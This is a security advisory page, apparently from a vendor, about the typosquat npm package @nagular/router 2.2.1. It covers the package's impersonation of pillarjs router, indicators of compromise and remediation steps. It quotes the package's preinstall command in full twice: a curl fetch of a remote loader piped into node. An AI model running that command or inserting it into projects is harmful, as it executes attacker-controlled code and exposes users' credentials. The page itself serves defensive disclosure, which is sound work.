Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

@nagular/routernpm

Advisory published Updated

@nagular/router is a confirmed malicious npm package (MAL-2026-17500) that typosquats a legitimate package to trick installs (malicious version 2.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @nagular/router (npm)

MAL-2026-17500
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @nagular/router

What this malware does

@nagular/[email protected] impersonates router (it copies the code and metadata of the pillarjs router package) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @nagular/router and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.

package.json declares a preinstall lifecycle hook that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching an opaque JavaScript payload from an unrelated third-party repository (gitflic.ru/hellscripter/install-scripts) proxied via web.archive.org and piping it directly into node at npm install time. The fetched bytes are not pinned by hash or version, the host is unrelated to the declared repository (pillarjs/router) or publisher domain (somethingdoug.com), and execution happens automatically with full user privileges on every install. Package metadata further impersonates the maintainer of the legitimate pillarjs/router package (author: Douglas Christopher Wilson) and uses the scope @nagular/router, a name likely to be confused with @angular/router, consistent with a typosquat lure designed to trick installers into running the preinstall dropper.

Malicious versions

1 flagged
2.2.1

Indicators of compromise (SHA-256)

5db05365620b3f716b28b41577e593bc35a6699aee20090951158c206c2585ca

Detection & response playbook

Typosquat
  1. Find it

    Search your lockfiles and build artifacts for @nagular/router (version 2.2.1).

  2. If you installed it — respond

    @nagular/router is a typosquat — you almost certainly intended a legitimately-named package. Remove @nagular/router, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If @nagular/router was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @nagular/router on npm has been identified as a malicious package (version 2.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020920

References

Credits

  • Amazon Inspector · finder
  • InvisiRisk, Inc. · finder

Detect & block this

O3 blocks @nagular/router-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

@nagular/router (npm) malicious package — MAL-2026-17500 | O3 Security